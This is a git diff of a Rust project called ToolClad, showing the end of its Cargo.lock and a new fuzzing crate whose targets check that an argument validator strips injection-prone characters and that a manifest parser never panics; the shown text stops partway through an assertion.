"regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64 0.22.1", + "bytes", + "encoding_rs", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-tls", + "hyper-util", + "js-sys", + "log", + "mime", + "native-tls", + "percent-encoding", + "pin-project-lite", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-native-tls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustix" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891efababe418670775f199f0d233d84843c227a0949a883ce15b37c78d6629d" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" +dependencies = [ + "once_cell", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "schannel" +version = "0.1.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91c1b7e4904c873ef0710c1f407dde2e6287de2bebc1bbbf7d430bb7cbffd939" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags", + "core-foundation 0.10.1", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_spanned" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "simdutf8" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9395f0f0eee849a9b707b2f06bb92a6a422090e2123bb2ef8e87a0e61892a8e" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "901704edd0dfe137f1987838ee4f259e4e063c31371bdb423f7ae38ec6f77f02" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "system-configuration" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a13f3d0daba03132c0aa9767f98351b3488edc2c100cda2d2ec2b04f3d8d3c8b" +dependencies = [ + "bitflags", + "core-foundation 0.9.4", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e1d1b10ced5ca923a1fcb8d03e96b8d3268065d724548c0211415ff6ac6bac4" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "tinystr" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e27c91459209c2986af3dcf603a5a74a4368754ce37414f59acc971167f643" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tokio" +version = "1.53.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e95f91fcc7a621e8b030f6aa23c71fe9838ae2fb4d8118b75602a328f5144044" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9cc2678c2cdd569ef8215e2afd7954ada2ae20b4fdd2c5fe6139a3b02d105db" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e464cf451ba96ebfc6f9b6542f17ee8b8956e33f1e40d9690624e59d7a7f8a4b" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "libc", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "toml" +version = "0.8.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.22.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "toml_write", + "winnow", +] + +[[package]] +name = "toml_write" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" + +[[package]] +name = "toolclad" +version = "0.6.2" +dependencies = [ + "chrono", + "clap", + "libc", + "regex", + "reqwest", + "serde", + "serde_json", + "sha2", + "toml", + "uuid", +] + +[[package]] +name = "toolclad-fuzz" +version = "0.0.0" +dependencies = [ + "libfuzzer-sys", + "toolclad", +] + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-http" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", + "url", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d245f478577f809a851594d02313b640fb437e0bb33866753cff937863096954" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "uuid" +version = "1.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97277d36b9c3ace13e58fa6e753f8b0bbbf302a18dd193240d70f9e29681059a" +dependencies = [ + "getrandom 0.4.3", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "want" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec4cdd0dd910afe868b7ef477227d8d538b46b3075031afee8a9f2acb0a2ed0b" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bb54f33acc68fd454578d9820b0bde1a1a3d17aa17bb7b6595806d02886d409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cbab34de2d982e9b48e18d216d04c4a6f641066ff19ffb699980f591ee3610e" +dependencies = [ + "js-sys", + "tokio", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e29d0c35b16e224a7eeb5cd2d25e3e1968fbd65604117b44d3b789d00ee8535" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f501a8bc3719dba86ef8ae4728879c08001bea749eb1333ac5b91e040e2a6b7" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 3.0.6", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f0c9c52aa7cd7d77769a4cfe2a9adb1b331f489a41d912ce14513d5ab995c6" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88261b9deccee56594c11a3460c462c41f58d148598fe70ad77070126a68aba4" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-registry" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02752bf7fbdcce7f2a27a742f798510f3e5ad88dbe84871e5168e2120c3d5720" +dependencies = [ + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "winnow" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945" +dependencies = [ + "memchr", +] + +[[package]] +name = "writeable" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" + +[[package]] +name = "yoke" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec8ebde2db3681e8c9980cc27822030e68752690ddfa9473e739aeb4dbde6d71" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", + "synstructure", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f75b4683f6c7f45248d4d64056a24298c6281e0993356d7d1b4a1a962ef10d4a" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13084392c5e4bc371903e2935a5eaeed24905a7511356b883835e18a78f6879" + +[[package]] +name = "zerotrie" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea269c3bd32f0a32c321907a2ae912ba6f4649bb0fc764a15627e99a7095a3f" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0464e17806c1d976d5cba29399c7f08e516e279e2ba493f63123b5fca67dd8" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34df6fc39dbd26ddc9c10e6a2984476e13acce22e64e4487636ef494369225da" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/rust/fuzz/Cargo.toml b/rust/fuzz/Cargo.toml new file mode 100644 index 0000000..342bbba --- /dev/null +++ b/rust/fuzz/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "toolclad-fuzz" +version = "0.0.0" +publish = false +edition = "2021" + +[package.metadata] +cargo-fuzz = true + +[dependencies] +libfuzzer-sys = "0.4" + +[dependencies.toolclad] +path = ".." + +# Keep this crate out of any parent workspace. +[workspace] +members = ["."] + +[[bin]] +name = "validate_arg" +path = "fuzz_targets/validate_arg.rs" +test = false +doc = false +bench = false + +[[bin]] +name = "parse_manifest" +path = "fuzz_targets/parse_manifest.rs" +test = false +doc = false +bench = false diff --git a/rust/fuzz/README.md b/rust/fuzz/README.md new file mode 100644 index 0000000..9941c0a --- /dev/null +++ b/rust/fuzz/README.md @@ -0,0 +1,30 @@ +# ToolClad fuzz targets + +`cargo-fuzz` targets for the Rust runtime. This crate is excluded from the +main package (`exclude = ["fuzz"]` in `../Cargo.toml`) and is its own +workspace, so `cargo test` and `cargo clippy` on the library never build it. + +| Target | Property | +|---|---| +| `validate_arg` | The argument validator never panics, and never returns a value for a string-derived type (`string`, `path`, `regex_match`, `url`, `scope_target`, `duration`, `msf_options`) that contains whitespace, a quote, a backslash, a control character, or a leading `-`/`+` without the matching opt-in. `msf_options` may keep its ASCII space separator. No definition sets `block_internal`, so no input does DNS. | +| `parse_manifest` | The strict manifest loader never panics on any input. | + +## Running + +Requires a nightly toolchain and `cargo install cargo-fuzz`. From `rust/`: + +```bash +CARGO_BUILD_JOBS=2 cargo +nightly fuzz build +cargo +nightly fuzz run validate_arg -- -max_total_time=20 +cargo +nightly fuzz run parse_manifest -- -max_total_time=20 +``` + +Drop `-max_total_time` to fuzz until stopped. A crashing input is written to +`fuzz/artifacts//`; replay it with +`cargo +nightly fuzz run fuzz/artifacts//`, fix the +validator, and add the input as a unit test in the main crate. + +The same `validate_arg` property also runs in the ordinary test suite over a +few thousand deterministic pseudo-random inputs +(`validator::tests::test_validator_property_over_pseudo_random_inputs`), so it +is exercised in CI even where the fuzzer is not run. diff --git a/rust/fuzz/fuzz_targets/parse_manifest.rs b/rust/fuzz/fuzz_targets/parse_manifest.rs new file mode 100644 index 0000000..47588f1 --- /dev/null +++ b/rust/fuzz/fuzz_targets/parse_manifest.rs @@ -0,0 +1,19 @@ +//! Property: the strict manifest loader never panics on any input; it either +//! returns a manifest or an error. +#![no_main] + +use libfuzzer_sys::fuzz_target; +use toolclad::LoadOptions; + +fuzz_target!(|data: &[u8]| { + let Ok(text) = std::str::from_utf8(data) else { + return; + }; + // An explicit, empty custom-type set keeps every run independent of the + // filesystem around the fuzzer. + let options = LoadOptions { + custom_types: Some(Default::default()), + ..Default::default() + }; + let _ = toolclad::parse_manifest_with(text, options); +}); diff --git a/rust/fuzz/fuzz_targets/validate_arg.rs b/rust/fuzz/fuzz_targets/validate_arg.rs new file mode 100644 index 0000000..1d498d7 --- /dev/null +++ b/rust/fuzz/fuzz_targets/validate_arg.rs @@ -0,0 +1,75 @@ +//! Property: the argument validator never panics, and never returns a value +//! for a string-derived type that contains whitespace, a quote, a backslash, +//! a control character or a leading `-`/`+` without the matching opt-in +//! (`msf_options` may keep its ASCII space separator). +//! +//! No definition sets `block_internal`, so no input triggers DNS. +#![no_main] + +use libfuzzer_sys::fuzz_target; +use toolclad::types::ArgDef; +use toolclad::validator::{validate_arg_mode, STRING_DERIVED_TYPES}; + +const TYPES: &[&str] = &[ + "string", + "path", + "regex_match", + "url", + "scope_target", + "duration", + "msf_options", + "integer", + "number", + "port", + "boolean", + "enum", + "ip_address", + "cidr", +]; + +fn is_control(c: char) -> bool { + let cp = c as u32; + cp < 0x20 || (0x7f..=0x9f).contains(&cp) +} + +fuzz_target!(|data: &[u8]| { + // First byte picks the type and the mode; the rest is the value. + let Some((&selector, rest)) = data.split_first() else { + return; + }; + let Ok(value) = std::str::from_utf8(rest) else { + return; + }; + let type_name = TYPES[selector as usize % TYPES.len()]; + let exec_mode = selector & 0x80 != 0; + let def = ArgDef { + type_name: type_name.to_string(), + pattern: (type_name == "regex_match").then(|| ".*".to_string()), + allowed: (type_name == "enum").then(|| vec!["a".to_string(), "b c".to_string()]), + ..Default::default() + }; + + let Ok(out) = validate_arg_mode("v", &def, value, exec_mode) else { + return; + }; + if !STRING_DERIVED_TYPES.contains(&type_name) { + return; + } + let space_ok = type_name == "msf_options"; + assert!( + !out.chars().any(|c| c.is_whitespace() && !(space_ok && c == ' ')), + "{type_name}: {value:?} -> {out:?} contains whitespace" + ); + assert!( + !out.contains(['\'', '"', '\\']), + "{type_name}: {value:?} -> {out:?} contains a quote or backslash" + ); + assert!( + !out.chars().any(is_control), + "{type_name}: {value:?} -> {out:?} contains a control character" + ); + assert!( + !out.starts_with(['-', '+']), + 